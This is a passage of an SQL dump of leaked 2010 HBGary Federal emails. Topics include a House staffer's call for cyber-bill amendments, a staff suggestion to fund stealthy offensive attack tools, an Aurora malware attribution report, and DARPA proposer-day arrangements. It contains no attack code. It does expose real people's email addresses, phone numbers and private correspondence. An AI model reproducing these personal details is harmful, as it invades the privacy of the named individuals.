into legislation.  Lots of\r\ngood and interesting subjects that can be improved and enhanced through the\r\namendment process.  For those looking for an opportunity, this is a\r\ngreat way to address some of these issues in a bill that will be voted on by\r\nthe House of Representatives.   \r\n\r\n \r\n\r\nMembers have already been asking me for amendments, and I am\r\nbusy drafting.  You are a trusted ally, and I would really appreciate if\r\nyou can take a look at this bill, see if you have some ideas about ways to\r\nimprove it, and send them to me.  Please be creative! \r\nI will take your submissions, turn them into amendment language, and send them\r\nto members who are interested in amending this bill.\r\n\r\n \r\n\r\nSorry for the late notice, but I need your proposals\r\nby not later than FRIDAY at NOON.  If you’re not comfortable\r\ndrafting an amendment, feel free to submit an “idea” to me and I will\r\ndo my best to turn it into legislative language that the members can use.\r\n\r\n \r\n\r\nThanks for your help.\r\n\r\n \r\n\r\nJake\r\n\r\n \r\n\r\nJacob Olcott\r\n\r\nSubcommittee Director and\r\nCounsel\r\n\r\nEmerging Threats,\r\nCybersecurity, S&amp;T Subcommittee\r\n\r\nCommittee on Homeland\r\nSecurity (Majority)\r\n\r\n202-226-2623\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',3012,'aaron_hbgary_com/3012.html'),(1660,'2010-01-28','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000514.M986859P3547Q1660.eml','\"Conroy, Thomas W.\" <Tom.Conroy@ngc.com>','Re: request for amendments - cyber bill','I still get amazed that I get brought in on stuff like this.  Honored to get asked, hope i have some of value to add. :)  Btw,  I emailed Kathy this morning.  No response yet.\r\nAaronFrom my iPhoneOn Jan 27, 2010, at 7:00 PM, &quot;Conroy, Thomas W.&quot; &lt;Tom.Conroy@ngc.com&gt; wrote:\r\n\r\nJim - How do we get the best result from this, both for Aaron and for us?\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nTo: Conroy, Thomas W.; Barnett, Jim H.\r\nSent: Wed Jan 27 17:55:33 2010Subject: Fwd: request for amendments - cyber bill\r\n\r\nWow.  Any thoughts?  I have some work to do.AaronFrom my iPhoneBegin forwarded message:From: &quot;Olcott, Jacob&quot; &lt;Jacob.Olcott@mail.house.gov&gt;\r\n\r\nDate: January 27, 2010 6:45:14 PM ESTTo: &quot;Olcott, Jacob&quot; &lt;Jacob.Olcott@mail.house.gov&gt;\r\nSubject: request for amendments - cyber bill\r\n\r\n\r\n\r\n\r\nOne of the interesting things about working for Congress is\r\nthat you can go long stretches of time where you never seem to have traction on\r\nan issue, and then suddenly a window of opportunity presents itself and you\r\nhave a brief moment to take advantage of it.  This is one of those moments\r\nfor cybersecurity here in the House of Reps.\r\n\r\n \r\n\r\nSeveral months ago, the Science\r\nand Technology Committee marked up a Cyber R&amp;D bill.  You can find the\r\nbill here: http://www.rules.house.gov/111/LegText/111_hr4061_txt.pdf. \r\nAs you can tell, this was a fairly noncontroversial bill.  The Speaker’s\r\noffice decided today that they want this bill on the floor next week\r\n(likely Wednesday or Thursday).  \r\n\r\n \r\n\r\nHere’s how the procedure works.  Members are\r\nallowed to write amendments to the bill.  They submit them to the Rules\r\nCommittee.  On Monday night, the Rules Committee will consider those amendments,\r\nand rule them either “in order” or “out of order.” \r\nAmendments are supposed to be “germane” to the section of the bill\r\nthat is being amended (there is a test for this, but basically an amendment has\r\nto relate to the subject matter under consideration).  Amendments that are\r\nruled “in order” can then be raised by that member on the floor –\r\nand put to a vote of the House.  \r\n\r\n \r\n\r\nAs you can see from the text, the bill contains provisions on\r\nR&amp;D, cyber workforce, strategic planning, social and behavioral cyber\r\nresearch, the focus of NSF grants, scholarship for service, NIST research, international\r\nstandards, identity management, cyber awareness into legislation.  Lots of\r\ngood and interesting subjects that can be improved and enhanced through the\r\namendment process.  For those looking for an opportunity, this is a\r\ngreat way to address some of these issues in a bill that will be voted on by\r\nthe House of Representatives.   \r\n\r\n \r\n\r\nMembers have already been asking me for amendments, and I am\r\nbusy drafting.  You are a trusted ally, and I would really appreciate if\r\nyou can take a look at this bill, see if you have some ideas about ways to\r\nimprove it, and send them to me.  Please be creative! \r\nI will take your submissions, turn them into amendment language, and send them\r\nto members who are interested in amending this bill.\r\n\r\n \r\n\r\nSorry for the late notice, but I need your proposals\r\nby not later than FRIDAY at NOON.  If you’re not comfortable\r\ndrafting an amendment, feel free to submit an “idea” to me and I will\r\ndo my best to turn it into legislative language that the members can use.\r\n\r\n \r\n\r\nThanks for your help.\r\n\r\n \r\n\r\nJake\r\n\r\n \r\n\r\nJacob Olcott\r\n\r\nSubcommittee Director and\r\nCounsel\r\n\r\nEmerging Threats,\r\nCybersecurity, S&amp;T Subcommittee\r\n\r\nCommittee on Homeland\r\nSecurity (Majority)\r\n\r\n202-226-2623\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',2381,'aaron_hbgary_com/2381.html'),(1661,'2010-01-28','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297000515.M189887P3547Q1661.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>,\"Rich Cummings\" <rich@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','RE: request for amendments - cyber bill','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nCouple of things I might want to bring up\r\n\r\n&nbsp;\r\n\r\n1.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nThey should have a point system where they encourage woman\r\nowned, Hispanic etc companies as well as companies in smaller metropolitan\r\nareas so that more job creation happens.\r\n\r\n2.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nGiven that many of the new malware attacks are coming through\r\nthe gateways to the end points and gov&#8217;t and corporate America have been\r\nreticent to secure end points (which is where attacks are happening) then\r\nperhaps give companies focusing on these areas extra money to help continue to\r\ndevelop and create funded deployment program (because it&#8217;s harder to\r\ndeploy on end node requires more people)&nbsp; This would be geared toward\r\ndampening the spread of malware\r\n\r\n3.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nGoing after cybercriminals who go after children is always\r\npopular.&nbsp; Software to help capture and track them and to provide training to\r\nlaw enforcement would be popular and probably get funded.&nbsp; \r\n\r\n4.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nHow bout developing stealthy attack tools that would launch when\r\na vulnerability was discovered, much like that honeypot discussion you and Greg\r\nhad last month\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Wednesday, January 27, 2010 3:49 PM\r\nTo: Greg Hoglund; Penny Leavy; Ted Vera; Rich Cummings\r\nSubject: Fwd: request for amendments - cyber bill\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nWow. &nbsp;Anyone interested in drafting some legislation.\r\n&nbsp;Looks like I have some work to do. &nbsp;Any ideas would be helpful.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nBegin forwarded message:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: &quot;Olcott,\r\nJacob&quot; &lt;Jacob.Olcott@mail.house.gov&gt;\r\nDate: January 27, 2010 6:45:14 PM EST\r\nTo: &quot;Olcott, Jacob&quot; &lt;Jacob.Olcott@mail.house.gov&gt;\r\nSubject: request for amendments - cyber bill\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOne\r\nof the interesting things about working for Congress is that you can go long\r\nstretches of time where you never seem to have traction on an issue, and then\r\nsuddenly a window of opportunity presents itself and you have a brief moment to\r\ntake advantage of it.&nbsp; This is one of those moments for cybersecurity here\r\nin the House of Reps.\r\n\r\n&nbsp;\r\n\r\nSeveral months ago, the Science and Technology Committee\r\nmarked up a Cyber R&amp;D bill.&nbsp; You can find the bill here: http://www.rules.house.gov/111/LegText/111_hr4061_txt.pdf.&nbsp;\r\nAs you can tell, this was a fairly noncontroversial bill.&nbsp; The\r\nSpeaker&#8217;s office decided today that they want this bill on the floor next\r\nweek (likely Wednesday or Thursday).&nbsp; \r\n\r\n&nbsp;\r\n\r\nHere&#8217;s\r\nhow the procedure works.&nbsp; Members are allowed to write amendments to the\r\nbill.&nbsp; They submit them to the Rules Committee.&nbsp; On Monday night, the\r\nRules Committee will consider those amendments, and rule them either &#8220;in\r\norder&#8221; or &#8220;out of order.&#8221;&nbsp; Amendments are supposed to be\r\n&#8220;germane&#8221; to the section of the bill that is being amended (there\r\nis a test for this, but basically an amendment has to relate to the subject\r\nmatter under consideration).&nbsp; Amendments that are ruled &#8220;in\r\norder&#8221; can then be raised by that member on the floor &#8211; and put to\r\na vote of the House.&nbsp; \r\n\r\n&nbsp;\r\n\r\nAs\r\nyou can see from the text, the bill contains provisions on R&amp;D, cyber\r\nworkforce, strategic planning, social and behavioral cyber research, the focus\r\nof NSF grants, scholarship for service, NIST research, international standards,\r\nidentity management, cyber awareness into legislation.&nbsp; Lots of good and\r\ninteresting subjects that can be improved and enhanced through the amendment\r\nprocess.&nbsp; For those looking for an opportunity, this is a great way\r\nto address some of these issues in a bill that will be voted on by the House of\r\nRepresentatives.&nbsp; &nbsp;\r\n\r\n&nbsp;\r\n\r\nMembers\r\nhave already been asking me for amendments, and I am busy drafting.&nbsp; You\r\nare a trusted ally, and I would really appreciate if you can take a look at\r\nthis bill, see if you have some ideas about ways to improve it, and send them\r\nto me.&nbsp; Please be creative!&nbsp; I will take your\r\nsubmissions, turn them into amendment language, and send them to members who\r\nare interested in amending this bill.\r\n\r\n&nbsp;\r\n\r\nSorry\r\nfor the late notice, but I need your proposals by not later than FRIDAY\r\nat NOON.&nbsp; If you&#8217;re not comfortable drafting an amendment,\r\nfeel free to submit an &#8220;idea&#8221; to me and I will do my best to turn\r\nit into legislative language that the members can use.\r\n\r\n&nbsp;\r\n\r\nThanks\r\nfor your help.\r\n\r\n&nbsp;\r\n\r\nJake\r\n\r\n&nbsp;\r\n\r\nJacob Olcott\r\n\r\nSubcommittee Director and Counsel\r\n\r\nEmerging Threats, Cybersecurity, S&amp;T Subcommittee\r\n\r\nCommittee on Homeland Security (Majority)\r\n\r\n202-226-2623\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',782,'aaron_hbgary_com/782.html'),(1662,'2010-01-28','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297000515.M375392P3547Q1662.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,,,','Re: DARPA BAA','All,\r\n \r\nThere is other activity out there to enumerate malware and software.\r\n \r\nMITRE has a project called &quot;Common Malware Enumeration&quot;.\r\nhttp://cme.mitre.org/\r\nLook a the links on the left for more info.\r\n \r\nCommon Weakness Enumberation project from MITRE\r\nhttp://cwe.mitre.org/\r\n \r\nLink from NIST\r\nhttp://nvd.nist.gov/cwe.cfm\r\n \r\nPeople have told me that these projects are attempting to create a common language of describing digital objects.  They suggested that HBGary map its DDNA content into the CME framework as it could become a standard.\r\n\r\n \r\nIt&#39;s is possible that DARPA has attached its thinking to another framework which could increase our challenge.\r\n \r\nBob\r\nOn Wed, Jan 27, 2010 at 5:29 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nAll,I would like to schedule a brief telecon tomorrow to discuss strategyfor the upcomg BAA and for those of us going to the industry days\r\ndiscuss what information we are conveying and interested in gettingfrom potential partners.  I will look for a good time on the calendar.Aaron From my iPhone\r\n-- Bob SlapnikVice PresidentHBGary, Inc.301-652-8885 x104bob@hbgary.com\r\n',9997,'aaron_hbgary_com/9997.html'),(1663,'2010-01-28','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000515.M614068P3547Q1663.eml','\"Bob Slapnik\" <bob@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>,,,','Re: DARPA BAA','NSA has also funded Carnegie melon to develop a malware enumeration catalog.AaronFrom my iPhoneOn Jan 27, 2010, at 7:54 PM, Bob Slapnik &lt;bob@hbgary.com&gt; wrote:\r\nAll,\r\n \r\nThere is other activity out there to enumerate malware and software.\r\n \r\nMITRE has a project called &quot;Common Malware Enumeration&quot;.\r\nhttp://cme.mitre.org/\r\nLook a the links on the left for more info.\r\n \r\nCommon Weakness Enumberation project from MITRE\r\nhttp://cwe.mitre.org/\r\n \r\nLink from NIST\r\nhttp://nvd.nist.gov/cwe.cfm\r\n \r\nPeople have told me that these projects are attempting to create a common language of describing digital objects.  They suggested that HBGary map its DDNA content into the CME framework as it could become a standard.\r\n\r\n\r\n \r\nIt&#39;s is possible that DARPA has attached its thinking to another framework which could increase our challenge.\r\n \r\nBob\r\nOn Wed, Jan 27, 2010 at 5:29 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nAll,I would like to schedule a brief telecon tomorrow to discuss strategyfor the upcomg BAA and for those of us going to the industry days\r\n\r\ndiscuss what information we are conveying and interested in gettingfrom potential partners.  I will look for a good time on the calendar.Aaron From my iPhone\r\n\r\n-- Bob SlapnikVice PresidentHBGary, Inc.301-652-8885 x104bob@hbgary.com\r\n\r\n',4282,'aaron_hbgary_com/4282.html'),(1664,'2010-01-28','\"Aaron Barr\" <adbarr@mac.com>','/aaron@hbgary.com/new/1297000515.M935756P3547Q1664.eml','\"Aaron Barr\" <aaron@hbgary.com>','','http://www.itproportal.com/security/news/article/2010/1/27/google-hackers-used-social-engineering-tricks-carry-out-attacks/\r\n\r\n\r\n From my iPhone\r\n',7425,'aaron_hbgary_com/7425.html'),(1665,'2010-01-28','\"Phil Wallisch\" <philwallisch@gmail.com>','/aaron@hbgary.com/new/1297000516.M160711P3547Q1665.eml','\"Aaron Barr\" <aaron@hbgary.com>','Join my network on LinkedIn','\r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n  LinkedIn\r\n\r\n\r\n            Phil Wallisch has indicated you are a Friend:\r\n\r\n  \r\n    I\'d like to add you to my professional network on LinkedIn.\r\n\r\n- Phil\r\n  \r\n\r\n  &nbsp;\r\n\r\n   \r\n     \r\n         \r\n           Accept\r\n         \r\n          \r\n               View invitation from Phil Wallisch\r\n         \r\n     \r\n   \r\n  \r\n  \r\n  &nbsp;\r\n  \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n  &#169; 2010, LinkedIn Corporation\r\n\r\n\r\n\r\n',4146,'aaron_hbgary_com/4146.html'),(1666,'2010-01-28','\"Ted Vera\" <tedvera@me.com>','/aaron@hbgary.com/new/1297000516.M368768P3547Q1666.eml','\"Barr Aaron\" <aaron@hbgary.com>','Huh','\r\nHow is CNN doing the state of the union Twitter analysis? Looks great,  \r\ncan sort by geography and view on map. They must be doing the rankings  \r\nmanually?\r\n\r\n',15206,'aaron_hbgary_com/15206.html'),(1667,'2010-01-28','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000516.M585964P3547Q1667.eml','\"Matthew Steckman\" <msteckman@palantirtech.com>','Re: Conference Call','Matt,\r\n\r\nDid I get added to the Dev Zone?  Can Greg be added?  Not like we are trying to get the whole company on there, but the two of us would be helpful.\r\n\r\nTHanks,\r\nAaron\r\n\r\n\r\nOn Jan 7, 2010, at 5:57 PM, Matthew Steckman wrote:\r\n\r\n> Aaron,\r\n> \r\n> Can you send me first and last name of those folks?  Just need it for their account submittal.\r\n> \r\n> Yeah, we saw that IARPA thing.  They are basically asking for Palantir which is kind of odd.  We are going to respond with something like, \"Hey, this is already built, but we\'ll take your money for some R&D\"\r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Thursday, January 07, 2010 8:02 AM\r\n> To: Matthew Steckman\r\n> Subject: Re: Conference Call\r\n> \r\n> Hey Matt,\r\n> \r\n> No worries.  I think we will be able to turn something around pretty quickly here for integration, then just a matter of what do we want to demo.\r\n> \r\n> Developers:\r\n> Kam@hbgary.com\r\n> michael@hbgary.com\r\n> scott@hbgary.com\r\n> and if it is any benefit aaron@hbgary.com\r\n> \r\n> How about Friday? I am open.\r\n> \r\n> Aaron\r\n> \r\n> Also,  do you know anything about the IARPA BAA, link listed below.  Maybe a bit of a stretch but it seems like there could be some applicability.\r\n> \r\n> http://www.iarpa.gov/solicitations_kdd.html\r\n> \r\n> \r\n> \r\n> On Jan 6, 2010, at 6:09 PM, Matthew Steckman wrote:\r\n> \r\n>> Sorry I was sucky and late to the call.  Just forward me the email addresses of the developers on the call and Ill hook them up with our resources.  \r\n>> \r\n>> Let me know if you want to chat sometime this week.\r\n>> \r\n>> -Matt\r\n>> \r\n>> Matthew Steckman\r\n>> Palantir Technologies | Forward Deployed Engineer\r\n>> msteckman@palantirtech.com | 202-257-2270\r\n>> \r\n>> \r\n>> -----Original Message-----\r\n>> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n>> Sent: Wednesday, January 06, 2010 4:37 PM\r\n>> To: Matthew Steckman\r\n>> Subject: Conference Call\r\n>> \r\n>> Hey Matt,\r\n>> \r\n>> We have a conference call scheduled for right now right?\r\n>> \r\n>> Aaron Barr\r\n>> CEO\r\n>> HBGary Federal Inc.\r\n>> \r\n>> \r\n>> \r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n> \r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',14307,'aaron_hbgary_com/14307.html'),(1668,'2010-01-28','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000517.M502959P3547Q1668.eml','\"Matthew Steckman\" <msteckman@palantirtech.com>','Fwd: Report writeup so far on Phil\'s Aurora (with attachment this  time)','Matt,\r\n\r\nPlease don\'t disseminate.  Very rough report.  Greg developed this with about a 1/2 days worth of work yesterday, but something along these lines.  There is lots of data we need to fill in to to tell the story smoothly, and hopefully integrate some good EndGame data.\r\n\r\nAaron\r\n\r\nBegin forwarded message:\r\n\r\n> From: Greg Hoglund \r\n> Date: January 27, 2010 6:32:55 PM EST\r\n> To: Aaron Barr , Ted Vera , Rich Cummings , phil@hbgary.com\r\n> Subject: Re: Report writeup so far on Phil\'s Aurora (with attachment this time)\r\n> \r\n> \r\n> Srry, missed attachement,\r\n> \r\n>  \r\n> On Wed, Jan 27, 2010 at 3:32 PM, Greg Hoglund  wrote:\r\n> Team,\r\n>  \r\n> See the attached.  Something along these lines would make a nice report.  What is really cool - I was able to trace a toolmark to a developer of one of Phil\'s droppers, and from this, I found another place where individuals can obtain technical support on the dropper - so this represents going from toolmark, to developer, to user (operator) of the malware.  That is about as good as it gets.\r\n>  \r\n> -Greg\r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',16731,'aaron_hbgary_com/16731.html'),(1669,'2010-01-28','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000517.M714174P3547Q1669.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>','Re: Report writeup so far on Phil\'s Aurora (with attachment this  time)','This is what we need as a product. &nbsp;This will also be good to bring to the briefing on the 9th so hopefully we can get as much of this filled in as possible. &nbsp;I will do what I can. &nbsp;I am doing some background research on Aurora to get a lot of the historical information and update the forward. &nbsp;Also doing lots of translationed analysis of links related to some of the data you listed. &nbsp;Take for example.http://www.leiun.com/whmtorrent/blogThis blog looks like it started to be populated with shell code on Dec. 25th to present. &nbsp;In Palantir we can injest each on of these pieces as a separate object. &nbsp;Search to see if these objects show up in multiple places, list those. &nbsp;Note the spread using palantirs histogram functions. &nbsp;Exciting. &nbsp;Also noting the times of communications between different personas involved you can watch spread as well. &nbsp;Palantir is the perfect interface for use to provide premier threat intelligence. &nbsp;For the first or so reports manual will have to work, but your right we have to automate some of this eventually. &nbsp;I want to get as much of this done for my meeting with ARSTRAT next Wednesday. &nbsp;This report will go along way in showing our value to them.AaronOn Jan 27, 2010, at 6:32 PM, Greg Hoglund wrote:Srry, missed attachement,\r\n&nbsp;\r\nOn Wed, Jan 27, 2010 at 3:32 PM, Greg Hoglund &lt;greg@hbgary.com&gt; wrote:\r\n\r\nTeam,\r\n&nbsp;\r\nSee the attached.&nbsp; Something along these lines would make a nice report.&nbsp; What is really cool - I was able to trace a toolmark to a developer of one of Phil\'s droppers, and from this, I found another place where individuals can obtain technical support on the dropper - so this represents going from toolmark, to developer, to user (operator) of the malware.&nbsp; That is about as good as it gets.\r\n\r\n&nbsp;\r\n-Greg\r\n&lt;Aurora_report.docx&gt;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',16422,'aaron_hbgary_com/16422.html'),(1670,'2010-01-28','\"LinkedIn Updates\" <updates@linkedin.com>','/aaron@hbgary.com/new/1297000517.M946572P3547Q1670.eml','\"Aaron Barr\" <aaron@hbgary.com>','LinkedIn Network Updates, 1/28/2010','\r\n\r\n  \r\n\r\n\r\n  \r\n    LinkedIn Network Updates\r\n    Jan 21 - Jan 28\r\n  \r\n  \r\n    FEATURED UPDATES\r\n    See more updates &#187;\r\n  \r\n  \r\n    \r\n\r\n    \r\n    PROFILE\r\n\r\n\r\n  \r\n    \r\n            \r\n              \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n      \r\n       \r\n      Ted Vera has an updated Work phone number: 916-459-4727 ext 118. Update your personal info\r\n\r\n \r\n              \r\n            \r\n            \r\n              \r\n\r\n\r\n\r\n                   Mark Leary has an updated profile (Headline)\r\n              \r\n            \r\n\r\n\r\n    \r\n  \r\n\r\n\r\n    \r\n    CONNECTIONS\r\n\r\n\r\n  \r\n    \r\n            \r\n              \r\n\r\n  Brenton Greene\r\n    is now connected to\r\n        Mike Morningstar\r\n\r\n              \r\n            \r\n            \r\n              \r\n\r\n  Phil Wallisch\r\n    is now connected to\r\n        Ron Peterson\r\n\r\n              \r\n            \r\n\r\n\r\n    \r\n  \r\n\r\n\r\n    \r\n    STATUS\r\n\r\n\r\n  \r\n    \r\n            \r\n              \r\n\r\n  Michael Toth\r\n      No mention of our spectral imaging work on it: http://www.theartnewspaper.com/articles/Early-copy-of-the-Gospel-of-Mark-is-a-forgery /20134\r\n  Add a comment &#187;\r\n  \r\n\r\n              \r\n            \r\n            \r\n              \r\n\r\n  Jeff McCartney\r\n      The reason gaming is going down the tubes:  http://www.gametrailers.com/episode/bonusround/401?ch=2&amp;sd=0\r\n  Add a comment &#187;\r\n  \r\n\r\n              \r\n            \r\n\r\n\r\n    \r\n  \r\n\r\n\r\n    \r\n    GROUPS\r\n\r\n\r\n  \r\n    \r\n            \r\n              \r\n\r\n    Michael Toth has joined\r\n    Wake Forest Alumni in Washington DC\r\n\r\n              \r\n            \r\n            \r\n              \r\n\r\n    angela fugate has joined\r\n    Pikes Peak ENERGY STAR Homes\r\n\r\n              \r\n            \r\n            \r\n              \r\n\r\n  Joseph Nicholas has joined 2 groups, including\r\n      \r\n      Georgia Tech Alumni Association\r\n      and\r\n      Irregular Warfare (Security, Development and Governance)\r\n\r\n              \r\n            \r\n\r\n\r\n    \r\n  \r\n\r\n\r\n    \r\n    QUESTIONS &amp; ANSWERS\r\n\r\n\r\n  \r\n    \r\n            \r\n              \r\n\r\n         Lynda L True answered 1 question          about               Using LinkedIn               \r\n               \r\n       \r\n              \r\n            \r\n\r\n\r\n    \r\n  \r\n\r\n\r\n    \r\n    RECOMMENDATIONS\r\n\r\n\r\n  \r\n    \r\n            \r\n              \r\n\r\n      Ted Vera was recommended by\r\ncolleague      Joshua Fugate\r\n        Ted is, by far, the best boss I\'ve ever had, and I have had some good ones.\r\n        Read more\r\n\r\n              \r\n            \r\n            \r\n              \r\n\r\n    Joshua Fugate recommends\r\ncolleague      Ted Vera\r\n          Department Manager at Northrop Grumman TASC\r\n        Ted is, by far, the best boss I\'ve ever had, and I have had some good ones.\r\n        Read more\r\n\r\n              \r\n            \r\n            \r\n              \r\n\r\n      Eric Hallam was recommended by\r\ncolleague      Sue Brazil\r\n        Eric\'s attention to detail, understanding of the big picture, and passion to always learn and excel ...\r\n        Read more\r\n\r\n              \r\n            \r\n\r\n\r\n    \r\n  \r\n\r\n\r\n    \r\n    APPLICATIONS\r\n\r\n\r\n  \r\n    \r\n            \r\n              \r\n\r\n                  \r\n                    Ted Vera\r\n                  \r\n                     is now using the new LinkedIn for iPhone application.  \r\n                  \r\n                    Get it now &#187;\r\n                   \r\n            \r\n              \r\n            \r\n\r\n\r\n    \r\n  \r\n\r\n    \r\n  \r\n  \r\n      \r\n      See more updates &#187;\r\n    \r\n  \r\n  \r\n    \r\n\r\n\r\n  \r\n    \r\n      \r\n      \r\n      Don\'t want to receive email notifications? Adjust your message settings. LinkedIn values your privacy. At no time has LinkedIn made your email address available to any other LinkedIn user without your permission.\r\n      &copy; 2010, LinkedIn Corporation\r\n    \r\n  \r\n\r\n    \r\n  \r\n\r\n\r\n',14291,'aaron_hbgary_com/14291.html'),(1671,'2010-01-28','\"John R. Williams\" <johnrw@proinfomd.com>','/aaron@hbgary.com/new/1297000519.M529007P3547Q1671.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Meeting','Aaron,\r\n\r\nI have attached our Evaluation Agreement for your review and execution.\r\nOnce this agreement is in place, I can send you the software.\r\n\r\nWe have found that early participation by our sales engineer greatly\r\naccelerates the process. \r\n\r\nIf you have questions/comments on the agreement, please let me know and we\r\ncan work through it.\r\n\r\nRegards,\r\nJohn\r\n\r\n301 237 0007\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Friday, January 22, 2010 8:34 AM\r\nTo: johnrw@proinfomd.com\r\nSubject: Meeting\r\n\r\nHey John,\r\n\r\nIt was nice to meet you and I am glad John made the introduction.\r\n\r\nCan I get a trial version of the software that I can play around with?\r\n\r\nThanks,\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',10154,'aaron_hbgary_com/10154.html'),(1672,'2010-01-28','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297000519.M759759P3547Q1672.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: Cyber Genome Proposers Day','Begin forwarded message:From: &quot;Blankenship, Larry (contr-sto)&quot; &lt;Larry.Blankenship.ctr@darpa.mil&gt;\r\nDate: January 28, 2010 4:42:42 AM MSTTo: Ted Vera &lt;ted@hbgary.com&gt;Subject: RE: Cyber Genome Proposers Day\r\nHi Ted,Aaron Barr can attend both sessions, but will have to be prioritized behind all other new participants on the second day in order to allow for fairness.\r\nV/rLarry-----Original Message-----From: Ted Vera [mailto:ted@hbgary.com] \r\nSent: Wednesday, January 27, 2010 4:51 PMTo: Blankenship, Larry (contr-sto)Subject: Re: Cyber Genome Proposers DayHi Larry,\r\nI have a quick question.  HBGary Federal is a separate company fromHBGary (although the two are affiliated).  HBGary has registered threepeople to attend.  HBGary Federal has registered two to attend.  Will\r\nthis be a problem?One attendee, Aaron Barr has registered for and intends to attend bothsessions (Jan &amp; Feb).  Is this ok?Regards,\r\nTedOn Wed, Jan 27, 2010 at 6:23 AM, Blankenship, Larry (contr-sto)&lt;Larry.Blankenship.ctr@darpa.mil&gt; wrote:\r\nGreetings Mr. Vera and Mr. Stoopin,After reviewing the individual session requests, we realized that your company has two slots (Raytheon &amp; HBGary).  Please coordinate between your company and provide a single POC for the individual session requests.  I will hold the 1400-1430 slot awaiting your decision, but will place the 1430-1500 slot back into the pool.\r\nAdditionally, please note that attendance to the proposer&#39;s day itself may be limited to three individuals per organization.\r\nI apologize for any confusion in this matter.  Please feel free to call me to discuss further.\r\nV/rLarry Blankenship\r\nSETA DARPA/STO703-248-1511\r\n-----Original Message-----From: Blankenship, Larry (contr-sto)\r\nSent: Wednesday, January 27, 2010 7:48 AMTo: &#39;Ted Vera&#39;Cc: Moore, Renee (contr-sto)\r\nSubject: RE: Cyber Genome Proposers DayGreetings Mr. Vera,\r\nI have your company scheduled from 1430-1500 with Dr. VanPutte.  Please limit your conversation to the time allotted as Dr. VanPutte wants to be fair to all visitors.  To assist in keeping your ideas in line with DARPA&#39;s objectives, and to make your discussion as enriching as possible, may I suggest you canvas your ideas against the Heilmeier Catechism prior to your arrival;\r\n-What are you trying to do? Articulate your objectives using absolutely no jargon.\r\n-How is it done today, and what are the limits of current practice?-What&#39;s new in your approach and why do you think it will be successful?\r\n-Who cares? If you&#39;re successful, what difference will it make?-What are the risks and the payoffs?\r\n-How much will it cost? How long will it take?-What are the midterm and final &quot;exams&quot; to check for success?\r\nI am looking forward to seeing you at the proposer&#39;s day.\r\nV/rLarry\r\nLarry BlankenshipSETA/DARPA STO703-248-1511\r\n-----Original Message-----From: Ted Vera [mailto:ted@hbgary.com]\r\nSent: Tuesday, January 26, 2010 6:15 PMTo: Blankenship, Larry (contr-sto)Subject: Cyber Genome Proposers Day\r\nHello Mr. Blankenship,\r\nHBGary would like to schedule and individual session with Dr. VanPutte to discuss the Cyber Genome Project after the February 9th Proposers day.\r\nRegards,Ted Vera\r\nTed H. VeraPresident | COOHB Gary Federal\r\nted@hbgary.comOffice:  916-459-4727 ext 118\r\nCell:  719-237-8623\r\n-- Ted H. VeraPresident | COOHBGary Federal719-237-8623\r\n\r\n',2682,'aaron_hbgary_com/2682.html'),(1673,'2010-01-28','\"Aaron Barr\" 